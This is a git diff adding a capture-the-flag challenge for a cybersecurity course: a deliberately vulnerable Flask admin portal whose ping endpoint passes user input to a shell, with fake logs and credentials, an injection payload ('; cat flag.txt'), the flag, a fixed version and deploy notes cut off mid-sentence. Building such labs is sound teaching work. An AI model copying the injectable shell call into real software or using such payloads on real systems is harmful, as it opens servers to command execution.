diff --git a/acme-admin-portal/.gitignore b/acme-admin-portal/.gitignore new file mode 100644 index 00000000..e43b0f98 --- /dev/null +++ b/acme-admin-portal/.gitignore @@ -0,0 +1 @@ +.DS_Store diff --git a/acme-admin-portal/README.md b/acme-admin-portal/README.md new file mode 100644 index 00000000..74c93297 --- /dev/null +++ b/acme-admin-portal/README.md @@ -0,0 +1,188 @@ +# ACME Internal Admin Portal — CTF Challenge + +**Category:** Web Exploitation +**Difficulty:** Beginner / Intermediate +**Vulnerability:** OS Command Injection (`shell=True`) +**Educational Purpose:** Demonstrating insecure subprocess usage and secure remediation + +--- + +## Project Overview + +This is a purpose-built Capture The Flag (CTF) web challenge for an independent study cybersecurity course. The challenge simulates an accidentally exposed internal IT administration portal for a fictional company, ACME Technologies. + +The portal contains a network ping utility that is intentionally vulnerable to OS Command Injection due to insecure use of Python's `subprocess` module with `shell=True` and unsanitized user input. + +Players must discover and exploit this vulnerability to retrieve a hidden flag. + +--- + +## Repository Structure + +``` +acme-admin-portal-ctf/ +│ +├── author/ # Full source code (instructor/author view) +│ └── src/ # Complete annotated application source +│ ├── app.py # Vulnerable Flask application +│ ├── flag.txt # Challenge flag +│ ├── requirements.txt +│ ├── Dockerfile +│ ├── templates/ # Jinja2 HTML templates +│ ├── static/ # CSS stylesheet +│ └── fake_data/ # Immersive fake content +│ +├── deploy/ # Deployable challenge environment +│ ├── app.py # Same vulnerable app +│ ├── Dockerfile +│ ├── requirements.txt +│ ├── templates/ +│ ├── static/ +│ ├── fake_data/ +│ ├── flag.txt +│ └── DEPLOY.md # Deployment instructions +│ +├── solution/ # Solve script + academic writeup +│ ├── solve.py # Automated exploit script +│ └── WRITEUP.md # Step-by-step solution and vulnerability analysis +│ +└── challenge_description/ # Public-facing challenge prompt + └── challenge.md +``` + +--- + +## Vulnerability Description + +### Root Cause + +The `/ping` endpoint in `app.py` passes user input directly into a shell command using Python's `subprocess.run()` with `shell=True`: + +```python +# VULNERABLE CODE +result = subprocess.run( + f"ping -c 1 {target}", # user input concatenated into shell string + shell=True, # shell interprets metacharacters + capture_output=True, + text=True, + timeout=10 +) +``` + +With `shell=True`, the command is executed by `/bin/sh`. This means any shell metacharacters (`;`, `&&`, `|`) in the user-supplied `target` parameter will be interpreted by the shell, allowing command injection. + +### Example Exploit + +Input: +``` +8.8.8.8; cat flag.txt +``` + +Shell executes: +```bash +ping -c 1 8.8.8.8; cat flag.txt +``` + +Result: the flag is returned in the HTTP response. + +--- + +## Installation & Docker Usage + +### Build + +```bash +cd deploy/ +docker build -t acme-portal . +``` + +### Run + +```bash +docker run -p 5000:5000 acme-portal +``` + +### Access + +``` +http://localhost:5000 +``` + +--- + +## Intended Solution + +1. Browse the application and identify the `/tools` page +2. Notice the Ping Utility is the only active tool +3. Test it with a normal IP (`8.8.8.8`) — observe real command output +4. Inject shell metacharacters: `8.8.8.8; cat flag.txt` +5. The flag appears in the output + +Full step-by-step walkthrough: [`solution/WRITEUP.md`](solution/WRITEUP.md) +Automated exploit: [`solution/solve.py`](solution/solve.py) + +--- + +## Security Mitigation + +The vulnerability is fixed by: + +1. **Removing `shell=True`** and passing arguments as a list +2. **Validating input** against a strict allowlist + +```python +# SECURE VERSION +import re + +target = request.args.get("target", "") + +# Validate: only allow IP/hostname characters +if not re.match(r'^[\d\.a-zA-Z\-]+$', target) or len(target) > 64: + return render_template("tools.html", ping_result="Error: Invalid target.") + +result = subprocess.run( + ["ping", "-c", "1", target], # List form — no shell interpretation + capture_output=True, + text=True, + timeout=10 + # shell=True removed entirely +) +``` + +**Key principles:** +- Never use `shell=True` with user-controlled input +- Validate and allowlist all user input before passing it to system calls +- Use argument arrays instead of string concatenation +- Run applications with minimum required privileges + +--- + +## Learning Objectives + +After completing this challenge, students should understand: + +- What OS Command Injection is and how it occurs +- Why `shell=True` is dangerous with unsanitized input +- How shell metacharacters (`;`, `&&`, `|`) enable command chaining +- How to identify injection points through reconnaissance +- How to remediate the vulnerability with secure subprocess patterns +- Basic web exploitation methodology + +--- + +## Educational Purpose Disclaimer + +This application is **intentionally vulnerable** and was created solely for educational purposes as part of a cybersecurity coursework project. It demonstrates real-world vulnerability patterns in a controlled, isolated environment. + +**Do not deploy this application on a public server or in any production environment.** + +All company names, characters, and scenarios are fictional and for educational use only. + +--- + +## References + +- [OWASP: Command Injection](https://owasp.org/www-community/attacks/Command_Injection) +- [Python subprocess — Security Considerations](https://docs.python.org/3/library/subprocess.html#security-considerations) +- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html) +- [PortSwigger: OS Command Injection](https://portswigger.net/web-security/os-command-injection) diff --git a/acme-admin-portal/author/README_AUTHOR.md b/acme-admin-portal/author/README_AUTHOR.md new file mode 100644 index 00000000..dca095f9 --- /dev/null +++ b/acme-admin-portal/author/README_AUTHOR.md @@ -0,0 +1,55 @@ +# ACME Admin Portal — Author Notes (Internal) + +This file is for the challenge author / instructor only. + +--- + +## Flag + +``` +flag{internal_tools_should_not_use_shell_true} +``` + +Located in: `app.py` root directory (both `author/src/` and `deploy/`) + +--- + +## Vulnerability Summary + +- **File:** `app.py`, function `ping()`, route `/ping` +- **Root cause:** `subprocess.run(f"ping -c 1 {target}", shell=True, ...)` +- **Attack vector:** GET parameter `target` with no sanitization +- **Exploit:** `8.8.8.8; cat flag.txt` + +--- + +## Testing the Challenge + +Start the app: +```bash +cd author/src +pip install flask +python app.py +``` + +Verify vulnerability: +``` +curl "http://localhost:5000/ping?target=8.8.8.8;+cat+flag.txt" +``` + +Run automated solve: +```bash +python solution/solve.py +``` + +--- + +## Submission Checklist + +- [x] Source code in `author/src/` +- [x] Deployable Docker environment in `deploy/` +- [x] Deployment instructions in `deploy/DEPLOY.md` +- [x] Solve script at `solution/solve.py` +- [x] Written writeup at `solution/WRITEUP.md` +- [x] Challenge description at `challenge_description/challenge.md` +- [x] Root `README.md` with full project documentation diff --git a/acme-admin-portal/author/src/Dockerfile b/acme-admin-portal/author/src/Dockerfile new file mode 100644 index 00000000..90496407 --- /dev/null +++ b/acme-admin-portal/author/src/Dockerfile @@ -0,0 +1,12 @@ +FROM python:3.11-slim + +WORKDIR /app + +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +COPY . . + +EXPOSE 5000 + +CMD ["python", "app.py"] diff --git a/acme-admin-portal/author/src/app.py b/acme-admin-portal/author/src/app.py new file mode 100644 index 00000000..b7927539 --- /dev/null +++ b/acme-admin-portal/author/src/app.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 +""" +ACME Internal Admin Portal +========================== +Author copy — includes full source and vulnerability notes. + +INTENTIONALLY VULNERABLE APPLICATION — FOR EDUCATIONAL PURPOSES ONLY +This application is designed to demonstrate OS command injection vulnerabilities. +DO NOT deploy in a production environment. +""" + +import subprocess +from flask import Flask, render_template, request + +app = Flask(__name__) + + +@app.route("/") +def index(): + return render_template("index.html") + + +@app.route("/tools") +def tools(): + return render_template("tools.html") + + +@app.route("/logs") +def logs(): + with open("fake_data/logs.txt", "r") as f: + log_content = f.read() + return render_template("logs.html", logs=log_content) + + +@app.route("/about") +def about(): + return render_template("about.html") + + +# ============================================================================= +# VULNERABLE ENDPOINT — DO NOT USE IN PRODUCTION +# Vulnerability: OS Command Injection via shell=True +# The user-supplied `target` parameter is passed directly into a shell command +# without any sanitization. An attacker can inject shell metacharacters such as +# ; | && to chain arbitrary commands. +# +# Example exploit: +# /ping?target=8.8.8.8; cat flag.txt +# ============================================================================= +@app.route("/ping") +def ping(): + target = request.args.get("target", "") + + if not target: + return render_template("tools.html", ping_result="Error: No target specified.") + + # VULNERABLE: shell=True with unsanitized user input + try: + result = subprocess.run( + f"ping -c 1 {target}", # <-- user input concatenated directly! + shell=True, # <-- shell=True enables metacharacter injection + capture_output=True, + text=True, + timeout=10 + ) + output = result.stdout + result.stderr + except subprocess.TimeoutExpired: + output = "Error: Request timed out." + except Exception as e: + output = f"Error: {str(e)}" + + return render_template("tools.html", ping_result=output) + + +if __name__ == "__main__": + app.run(host="0.0.0.0", port=5000, debug=False) diff --git a/acme-admin-portal/author/src/fake_data/TODO.md b/acme-admin-portal/author/src/fake_data/TODO.md new file mode 100644 index 00000000..021626a1 --- /dev/null +++ b/acme-admin-portal/author/src/fake_data/TODO.md @@ -0,0 +1,24 @@ +# ACME Admin Portal — TODO + +## High Priority +- [ ] Implement authentication (portal is currently unauthenticated!) +- [ ] Migrate diagnostics tools to safe subprocess calls (no shell=True) +- [ ] Input validation for all form fields +- [ ] Enable HTTPS + +## Medium Priority +- [ ] Implement DNS lookup backend +- [ ] Implement port scanner (rate-limited) +- [ ] Improve logging — add timestamps and user tracking +- [ ] Add session management + +## Low Priority +- [ ] Dark/light mode toggle +- [ ] Export logs to CSV +- [ ] Integrate with internal ticketing system + +## Done +- [x] Basic dashboard layout +- [x] Ping utility (NEEDS SECURITY REVIEW) +- [x] Fake log viewer +- [x] Docker containerization diff --git a/acme-admin-portal/author/src/fake_data/admin_notes.txt b/acme-admin-portal/author/src/fake_data/admin_notes.txt new file mode 100644 index 00000000..fc5b7306 --- /dev/null +++ b/acme-admin-portal/author/src/fake_data/admin_notes.txt @@ -0,0 +1,28 @@ +ACME Technologies — Internal Admin Notes +======================================== +Last updated: 2024-03-15 | Author: j.harris@acme-tech.internal + +REMINDERS (before next sprint): +-------------------------------- +- [ ] Sanitize ALL user input on diagnostics endpoints +- [ ] Remove shell=True before production deployment — THIS IS A SECURITY RISK +- [ ] Rotate admin credentials (current ones have been shared too widely) +- [ ] Restrict portal access to internal VPN only +- [ ] Add authentication layer — portal is currently wide open +- [ ] Audit subprocess calls in app.py + +KNOWN ISSUES: +------------- +- Ping utility does not validate IP format +- DNS lookup is not yet implemented (placeholder only) +- Port scanner stub needs backend logic +- Log viewer loads entire log file (could be slow at scale) + +TEMP CREDENTIALS (DO NOT LEAVE IN PRODUCTION): +----------------------------------------------- +admin / admin123 <-- CHANGE THIS IMMEDIATELY + +NOTES FROM LAST MEETING: +------------------------- +Marcus flagged the diagnostics page as a potential risk vector. +We agreed to patch before Q2 external audit. Deadline: EOD Friday. diff --git a/acme-admin-portal/author/src/fake_data/logs.txt b/acme-admin-portal/author/src/fake_data/logs.txt new file mode 100644 index 00000000..150a8ff7 --- /dev/null +++ b/acme-admin-portal/author/src/fake_data/logs.txt @@ -0,0 +1,22 @@ +[2024-03-15 08:01:03] [INFO] System monitoring service started +[2024-03-15 08:01:04] [INFO] ICMP diagnostics module initialized +[2024-03-15 08:01:05] [INFO] Web interface listening on 0.0.0.0:5000 +[2024-03-15 08:14:22] [INFO] GET / — 200 OK +[2024-03-15 08:15:01] [INFO] GET /tools — 200 OK +[2024-03-15 08:15:44] [WARN] User input validation DISABLED for diagnostics endpoint (testing mode) +[2024-03-15 08:16:02] [INFO] Ping executed: target=8.8.8.8 +[2024-03-15 08:21:17] [WARN] Failed login attempt from 10.0.4.21 +[2024-03-15 08:21:18] [WARN] Failed login attempt from 10.0.4.21 +[2024-03-15 08:21:19] [WARN] Failed login attempt from 10.0.4.21 +[2024-03-15 08:21:20] [WARN] Account lockout threshold not configured — no lockout applied +[2024-03-15 09:03:55] [INFO] DNS cache refreshed +[2024-03-15 09:45:12] [INFO] Ping executed: target=192.168.1.1 +[2024-03-15 10:02:31] [ERROR] Subprocess timeout — target unreachable +[2024-03-15 10:30:00] [INFO] Scheduled log rotation skipped (not configured) +[2024-03-15 11:15:44] [INFO] GET /logs — 200 OK +[2024-03-15 12:00:00] [INFO] Heartbeat OK — all systems nominal +[2024-03-15 13:22:09] [WARN] Portal accessible from external IP — VPN restriction not enforced +[2024-03-15 14:08:53] [INFO] Ping executed: target=10.0.0.1 +[2024-03-15 15:30:11] [INFO] GET /about — 200 OK +[2024-03-15 16:45:00] [WARN] SSL certificate expires in 12 days — renewal pending +[2024-03-15 17:00:00] [INFO] End-of-day snapshot complete diff --git a/acme-admin-portal/author/src/flag.txt b/acme-admin-portal/author/src/flag.txt new file mode 100644 index 00000000..549a6bec --- /dev/null +++ b/acme-admin-portal/author/src/flag.txt @@ -0,0 +1 @@ +flag{internal_tools_should_not_use_shell_true} diff --git a/acme-admin-portal/author/src/requirements.txt b/acme-admin-portal/author/src/requirements.txt new file mode 100644 index 00000000..7e106024 --- /dev/null +++ b/acme-admin-portal/author/src/requirements.txt @@ -0,0 +1 @@ +flask diff --git a/acme-admin-portal/author/src/static/style.css b/acme-admin-portal/author/src/static/style.css new file mode 100644 index 00000000..7d52944a --- /dev/null +++ b/acme-admin-portal/author/src/static/style.css @@ -0,0 +1,348 @@ +/* ============================================================ + ACME INTERNAL ADMIN PORTAL — Stylesheet + Dark industrial IT dashboard aesthetic + ============================================================ */ + +@import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&family=IBM+Plex+Sans:wght@300;400;500;600&display=swap'); + +:root { + --bg: #0f172a; + --surface: #1e293b; + --surface-2: #273548; + --border: #334155; + --accent: #38bdf8; + --accent-dim: #0ea5e9; + --text: #e2e8f0; + --text-muted: #64748b; + --text-dim: #94a3b8; + --green: #22c55e; + --yellow: #f59e0b; + --red: #ef4444; + --font-sans: 'IBM Plex Sans', monospace; + --font-mono: 'IBM Plex Mono', monospace; + --topbar-h: 52px; + --sidebar-w: 220px; + --footer-h: 36px; +} + +*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } + +body { + background: var(--bg); + color: var(--text); + font-family: var(--font-sans); + font-size: 14px; + line-height: 1.6; + min-height: 100vh; + display: flex; + flex-direction: column; +} + +/* ── TOPBAR ────────────────────────────────── */ +.topbar { + height: var(--topbar-h); + background: var(--surface); + border-bottom: 1px solid var(--border); + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 1.5rem; + position: sticky; + top: 0; + z-index: 100; +} + +.topbar-left { display: flex; align-items: center; gap: 0.6rem; } +.logo-mark { color: var(--accent); font-size: 1.2rem; } +.logo-text { font-family: var(--font-mono); font-weight: 600; font-size: 0.95rem; letter-spacing: 0.08em; } +.logo-sub { color: var(--text-muted); font-weight: 400; } + +.topbar-right { display: flex; align-items: center; gap: 0.75rem; font-size: 0.8rem; color: var(--text-dim); } +.status-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--green); box-shadow: 0 0 6px var(--green); } +.divider { color: var(--border); } +.env-badge { + font-family: var(--font-mono); + font-size: 0.7rem; + background: rgba(56,189,248,0.12); + color: var(--accent); + border: 1px solid rgba(56,189,248,0.3); + padding: 2px 8px; + border-radius: 3px; + letter-spacing: 0.1em; +} + +/* ── LAYOUT ────────────────────────────────── */ +.layout { + display: flex; + flex: 1; + min-height: calc(100vh - var(--topbar-h) - var(--footer-h)); +} + +/* ── SIDEBAR ───────────────────────────────── */ +.sidebar { + width: var(--sidebar-w); + background: var(--surface); + border-right: 1px solid var(--border); + display: flex; + flex-direction: column; + justify-content: space-between; + padding: 1.2rem 0; + flex-shrink: 0; +} + +.sidebar-section { display: flex; flex-direction: column; gap: 2px; } +.sidebar-label { + font-family: var(--font-mono); + font-size: 0.65rem; + letter-spacing: 0.15em; + color: var(--text-muted); + padding: 0 1rem 0.5rem; +} + +.nav-link { + display: flex; + align-items: center; + gap: 0.6rem; + padding: 0.55rem 1rem; + color: var(--text-dim); + text-decoration: none; + font-size: 0.875rem; + transition: all 0.15s; + border-left: 2px solid transparent; +} +.nav-link:hover { background: var(--surface-2); color: var(--text); } +.nav-link.active { background: rgba(56,189,248,0.08); color: var(--accent); border-left-color: var(--accent); } +.nav-icon { font-size: 0.5rem; color: var(--border); } +.nav-link.active .nav-icon { color: var(--accent); } + +.sidebar-footer { padding: 1rem; border-top: 1px solid var(--border); margin-top: 1rem; } +.session-info { font-family: var(--font-mono); font-size: 0.75rem; color: var(--text-muted); line-height: 1.7; } +.session-info.muted { color: var(--border); } + +/* ── MAIN CONTENT ──────────────────────────── */ +.main-content { flex: 1; padding: 1.75rem 2rem; overflow-y: auto; } + +.page-header { margin-bottom: 1.5rem; } +.page-title { font-size: 1.35rem; font-weight: 600; color: var(--text); line-height: 1.2; } +.page-subtitle { font-size: 0.8rem; color: var(--text-muted); font-family: var(--font-mono); } + +/* ── ALERT BANNERS ─────────────────────────── */ +.alert-banner { + display: flex; + align-items: center; + gap: 0.75rem; + padding: 0.65rem 1rem; + border-radius: 4px; + margin-bottom: 1.5rem; + font-size: 0.83rem; + border-left: 3px solid; +} +.alert-banner.warning { background: rgba(245,158,11,0.08); border-color: var(--yellow); color: #fcd34d; } +.alert-banner.info { background: rgba(56,189,248,0.07); border-color: var(--accent); color: var(--accent); } +.alert-icon { font-size: 1rem; } + +/* ── CARDS ─────────────────────────────────── */ +.card-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); + gap: 1.25rem; +} +.card-grid.two-col { grid-template-columns: repeat(auto-fill, minmax(380px, 1fr)); } + +.card { + background: var(--surface); + border: 1px solid var(--border); + border-radius: 6px; + padding: 1.25rem; +} + +.card-header { + display: flex; + align-items: center; + justify-content: space-between; + margin-bottom: 1rem; + padding-bottom: 0.75rem; + border-bottom: 1px solid var(--border); +} +.card-title { font-weight: 600; font-size: 0.9rem; letter-spacing: 0.02em; } + +/* ── BADGES ────────────────────────────────── */ +.badge { + font-family: var(--font-mono); + font-size: 0.65rem; + font-weight: 600; + letter-spacing: 0.1em; + padding: 2px 8px; + border-radius: 3px; +} +.badge-green { background: rgba(34,197,94,0.12); color: var(--green); border: 1px solid rgba(34,197,94,0.3); } +.badge-blue { background: rgba(56,189,248,0.12); color: var(--accent); border: 1px solid rgba(56,189,248,0.3); } +.badge-yellow { background: rgba(245,158,11,0.12); color: var(--yellow); border: 1px solid rgba(245,158,11,0.3); } +.badge-red { background: rgba(239,68,68,0.12); color: var(--red); border: 1px solid rgba(239,68,68,0.3); } + +/* ── STAT LIST ─────────────────────────────── */ +.stat-list { display: flex; flex-direction: column; gap: 0.5rem; } +.stat-row { display: flex; justify-content: space-between; align-items: center; font-size: 0.83rem; } +.stat-label { color: var(--text-muted); } +.stat-value { font-family: var(--font-mono); font-size: 0.8rem; color: var(--text-dim); } +.stat-value.online { color: var(--green); } +.stat-value.offline { color: var(--red); } +.stat-value.warn { color: var(--yellow); } + +/* ── UPTIME DISPLAY ────────────────────────── */ +.uptime-display { text-align: center; padding: 0.75rem 0; } +.uptime-number { font-family: var(--font-mono); font-size: 1.8rem; font-weight: 600; color: var(--accent); letter-spacing: 0.05em; } +.uptime-label { font-size: 0.75rem; color: var(--text-muted); margin-top: 2px; } + +/* ── ALERT LIST ────────────────────────────── */ +.alert-list { display: flex; flex-direction: column; gap: 0.6rem; } +.alert-item { display: flex; gap: 0.75rem; font-size: 0.8rem; align-items: flex-start; } +.alert-item.warn { color: #fcd34d; } +.alert-time { font-family: var(--font-mono); font-size: 0.75rem; color: var(--text-muted); flex-shrink: 0; padding-top: 1px; } + +/* ── QUICK LINKS ───────────────────────────── */ +.quick-links { display: flex; flex-direction: column; gap: 0.5rem; margin-bottom: 1rem; } +.quick-link-btn { + display: block; + text-align: center; + padding: 0.55rem 1rem; + background: var(--surface-2); + border: 1px solid var(--border); + border-radius: 4px; + color: var(--text-dim); + text-decoration: none; + font-size: 0.83rem; + transition: all 0.15s; +} +.quick-link-btn:hover { background: rgba(56,189,248,0.08); border-color: var(--accent); color: var(--accent); } + +.card-note { font-size: 0.75rem; color: var(--text-muted); margin-top: 0.75rem; padding-top: 0.75rem; border-top: 1px solid var(--border); } + +/* ── TOOLS PAGE ────────────────────────────── */ +.tools-grid { display: flex; flex-direction: column; gap: 1.25rem; } +.tool-card { max-width: 680px; } +.tool-description { font-size: 0.83rem; color: var(--text-muted); margin-bottom: 1rem; } + +.tool-form { display: flex; flex-direction: column; gap: 0.75rem; } +.input-group { display: flex; flex-direction: column; gap: 0.3rem; } +.input-label { font-size: 0.78rem; color: var(--text-muted); font-family: var(--font-mono); letter-spacing: 0.05em; } + +.tool-input { + background: var(--bg); + border: 1px solid var(--border); + border-radius: 4px; + padding: 0.55rem 0.85rem; + color: var(--text); + font-family: var(--font-mono); + font-size: 0.88rem; + width: 100%; + transition: border-color 0.15s; +} +.tool-input:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 2px rgba(56,189,248,0.1); } +.tool-input:disabled { opacity: 0.4; cursor: not-allowed; } + +.tool-btn { + align-self: flex-start; + background: var(--accent); + color: #0f172a; + border: none; + border-radius: 4px; + padding: 0.5rem 1.4rem; + font-family: var(--font-mono); + font-weight: 600; + font-size: 0.83rem; + letter-spacing: 0.05em; + cursor: pointer; + transition: background 0.15s, opacity 0.15s; +} +.tool-btn:hover { background: var(--accent-dim); } +.tool-btn.disabled { background: var(--surface-2); color: var(--text-muted); cursor: not-allowed; } + +.disabled-tool { opacity: 0.65; } + +/* ── RESULT BOX ────────────────────────────── */ +.result-box { + margin-top: 1.25rem; + border: 1px solid var(--border); + border-radius: 4px; + overflow: hidden; +} +.result-header { + display: flex; + justify-content: space-between; + padding: 0.4rem 0.85rem; + background: var(--surface-2); + font-family: var(--font-mono); + font-size: 0.7rem; + letter-spacing: 0.1em; + color: var(--text-muted); + border-bottom: 1px solid var(--border); +} +.result-output { + background: #080f1a; + color: var(--green); + font-family: var(--font-mono); + font-size: 0.82rem; + padding: 1rem; + white-space: pre-wrap; + word-break: break-all; + max-height: 400px; + overflow-y: auto; + line-height: 1.7; +} + +/* ── LOGS PAGE ─────────────────────────────── */ +.log-controls { + display: flex; + gap: 0.5rem; + margin-bottom: 1rem; +} +.log-filter { + font-family: var(--font-mono); + font-size: 0.72rem; + padding: 3px 10px; + border-radius: 3px; + border: 1px solid var(--border); + color: var(--text-muted); + cursor: pointer; + letter-spacing: 0.08em; +} +.log-filter.active { background: rgba(56,189,248,0.1); color: var(--accent); border-color: rgba(56,189,248,0.3); } + +.log-viewer { + background: #080f1a; + color: var(--text-dim); + font-family: var(--font-mono); + font-size: 0.8rem; + padding: 1rem; + border-radius: 4px; + border: 1px solid var(--border); + white-space: pre-wrap; + line-height: 1.8; + max-height: 520px; + overflow-y: auto; +} + +/* ── ABOUT PAGE ────────────────────────────── */ +.about-text p { color: var(--text-dim); font-size: 0.875rem; margin-bottom: 0.75rem; line-height: 1.7; } + +/* ── FOOTER ────────────────────────────────── */ +.footer { + height: var(--footer-h); + background: var(--surface); + border-top: 1px solid var(--border); + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 1.5rem; + font-family: var(--font-mono); + font-size: 0.7rem; + color: var(--text-muted); +} +.footer-right { color: var(--yellow); letter-spacing: 0.05em; } + +/* ── SCROLLBAR ─────────────────────────────── */ +::-webkit-scrollbar { width: 6px; height: 6px; } +::-webkit-scrollbar-track { background: var(--bg); } +::-webkit-scrollbar-thumb { background: var(--border); border-radius: 3px; } +::-webkit-scrollbar-thumb:hover { background: var(--text-muted); } diff --git a/acme-admin-portal/author/src/templates/about.html b/acme-admin-portal/author/src/templates/about.html new file mode 100644 index 00000000..3dfab3ff --- /dev/null +++ b/acme-admin-portal/author/src/templates/about.html @@ -0,0 +1,90 @@ +{% extends "base.html" %} +{% block content %} + + + +
+ +
+
+ About ACME Technologies +
+
+

ACME Technologies is a global infrastructure and IT operations firm providing enterprise-grade networking, monitoring, and diagnostic solutions to Fortune 500 clients.

+

Founded in 1998, ACME operates data centers across 14 regions and supports over 40,000 enterprise endpoints worldwide.

+

This internal administration portal provides IT staff with real-time network diagnostic capabilities, system health monitoring, and infrastructure management tooling.

+
+
+ +
+
+ Portal Information +
+
+
+ Application + ACME Admin Portal +
+
+ Version + 2.4.1 +
+
+ Framework + Flask 3.x / Python 3.11 +
+
+ Environment + ⚠ Production (Unprotected) +
+
+ Auth Status + ● Disabled +
+
+ Maintained by + IT Operations Team +
+
+
+ +
+
+ Contact +
+
+
+ IT Helpdesk + it-help@acme-tech.internal +
+
+ Security Team + security@acme-tech.internal +
+
+ NOC + noc@acme-tech.internal +
+
+ Emergency + ext. 9-1-1 (internal) +
+
+
+ +
+
+ Legal & Compliance +
+
+

Access to this portal is restricted to authorized ACME Technologies employees and contractors. All activity on this system is monitored and logged.

+

Unauthorized access, data exfiltration, or misuse of administrative tools is a violation of company policy and may constitute a criminal offense under applicable computer fraud statutes.

+
+
+ +
+ +{% endblock %} diff --git a/acme-admin-portal/author/src/templates/base.html b/acme-admin-portal/author/src/templates/base.html new file mode 100644 index 00000000..19d81e67 --- /dev/null +++ b/acme-admin-portal/author/src/templates/base.html @@ -0,0 +1,59 @@ + + + + + + ACME Internal Admin Portal + + + + +
+
+ + ACME Technologies +
+
+ + Systems Nominal + | + INTERNAL +
+
+ +
+ + +
+ {% block content %}{% endblock %} +
+
+ + + + + diff --git a/acme-admin-portal/author/src/templates/index.html b/acme-admin-portal/author/src/templates/index.html new file mode 100644 index 00000000..86093960 --- /dev/null +++ b/acme-admin-portal/author/src/templates/index.html @@ -0,0 +1,107 @@ +{% extends "base.html" %} +{% block content %} + + + +
+ + This portal is intended for authorized ACME Technologies personnel only. Unauthorized access is prohibited. +
+ +
+ +
+
+ System Status + ONLINE +
+
+
+ Web Server + ● Online +
+
+ Internal Network + ● Online +
+
+ DNS Resolver + ● Online +
+
+ Auth Service + ● Offline +
+
+ Firewall + ● Degraded +
+
+
+ +
+
+ Uptime + LIVE +
+
+
14d 7h 32m
+
Since last restart
+
+
+
+ CPU Load + 3.2% +
+
+ Memory Used + 1.1 GB / 8 GB +
+
+ Disk Usage + 44% +
+
+
+ +
+
+ Recent Alerts + 3 WARN +
+
+
+ 17:22 + Portal exposed to external IP — VPN not enforced +
+
+ 13:08 + Input validation disabled on diagnostics endpoint +
+
+ 08:21 + 3x failed login attempts from 10.0.4.21 +
+
+
+ +
+
+ Quick Access +
+ +
+ ⓘ Authentication module is currently offline. Access is unrestricted. +
+
+ +
+ +{% endblock %} diff --git a/acme-admin-portal/author/src/templates/logs.html b/acme-admin-portal/author/src/templates/logs.html new file mode 100644 index 00000000..ec311814 --- /dev/null +++ b/acme-admin-portal/author/src/templates/logs.html @@ -0,0 +1,23 @@ +{% extends "base.html" %} +{% block content %} + + + +
+
+ Event Log — Today + LIVE +
+
+ All + INFO + WARN + ERROR +
+
{{ logs }}
+
+ +{% endblock %} diff --git a/acme-admin-portal/author/src/templates/tools.html b/acme-admin-portal/author/src/templates/tools.html new file mode 100644 index 00000000..c2a24f61 --- /dev/null +++ b/acme-admin-portal/author/src/templates/tools.html @@ -0,0 +1,88 @@ +{% extends "base.html" %} +{% block content %} + + + +
+ + These tools are intended for internal network diagnostics only. Results are rendered directly from the system. +
+ +
+ + +
+
+ Ping Utility + ACTIVE +
+

+ Send an ICMP echo request to a target host to verify connectivity. +

+
+
+ + +
+ +
+ + {% if ping_result %} +
+
+ OUTPUT + {{ self.__class__.__name__ }} +
+
{{ ping_result }}
+
+ {% endif %} +
+ + +
+
+ DNS Lookup + OFFLINE +
+

+ Resolve a domain name to its IP address using the internal DNS resolver. +

+
+ + +
+ +
⚠ DNS module is offline — scheduled for maintenance.
+
+ + +
+
+ Port Scanner + OFFLINE +
+

+ Scan a host for open TCP ports within a specified range. +

+
+ + +
+ +
⚠ Port scanner pending security review and approval.
+
+ +
+ +{% endblock %} diff --git a/acme-admin-portal/challenge_description/challenge.md b/acme-admin-portal/challenge_description/challenge.md new file mode 100644 index 00000000..fd23e3bf --- /dev/null +++ b/acme-admin-portal/challenge_description/challenge.md @@ -0,0 +1,66 @@ +# ACME Internal Admin Portal + +**Category:** Web Exploitation +**Difficulty:** Easy +**Points:** 100 + +--- + +## Scenario + +Our threat intelligence team has flagged an internal IT administration portal belonging to ACME Technologies that appears to have been accidentally exposed to the public internet. + +The portal contains several network diagnostic utilities used by their operations staff. Something about the way these tools are implemented doesn't seem quite right. + +Can you investigate the portal and retrieve the hidden flag? + +--- + +## Target + +``` +http://localhost:5000 +``` + +*(If deployed remotely, your instructor will provide the target URL.)* + +--- + +## Objective + +Find and exploit the vulnerability to retrieve the flag. + +Flags are in the format: + +``` +flag{...} +``` + +--- + +## Hints + +
+Hint 1 — Where to look +Focus on the Network Tools page. Only one utility is actually functional. +
+ +
+Hint 2 — What to look for +The ping tool takes user input and appears to execute a real system command. What happens when you give it something unexpected? +
+ +
+Hint 3 — How to exploit +Try using shell metacharacters in the input field. What does a semicolon (;) do in a shell? +
+ +--- + +## Deployment + +See `DEPLOY.md` for setup instructions. + +--- + +*This challenge was created for educational purposes as part of an independent study cybersecurity course.* diff --git a/acme-admin-portal/deploy/DEPLOY.md b/acme-admin-portal/deploy/DEPLOY.md new file mode 100644 index 00000000..7086e4b1 --- /dev/null +++ b/acme-admin-portal/deploy/DEPLOY.md @@ -0,0 +1,101 @@ +# ACME Internal Admin Portal — Deployment Guide + +This document explains how to deploy the challenge environment using Docker. + +--- + +## Requirements + +- [Docker](https://docs.docker.com/get-docker/) installed and running +- Port `5000` available on the host machine + +--- + +## Quick Start (Recommended) + +### 1. Build the Docker image + +From the `deploy/` directory, run: + +```bash +docker build -t acme-portal . +``` + +### 2. Run the container + +```bash +docker run -p 5000:5000 acme-portal +``` + +### 3. Access the portal + +Open your browser and navigate to: + +``` +http://localhost:5000 +``` + +The challenge is now live. + +--- + +## Stopping the Container + +```bash +# Find the running container +docker ps + +# Stop it +docker stop +``` + +Or press `Ctrl+C` if running in the foreground. + +--- + +## Rebuilding After Changes + +If you modify any source files: + +```bash +docker build --no-cache -t acme-portal . +docker run -p 5000:5000 acme-portal +``` + +--- + +## Running Without Docker (Alternative) + +If Docker is unavailable, you can run the app directly with Python 3.11+: + +```bash +# Install dependencies +pip install -r requirements.txt + +# Run the application +python app.py +``` + +Then visit `http://localhost:5000`. + +--- + +## What the Competitor Receives + +Competitors are given: +- The 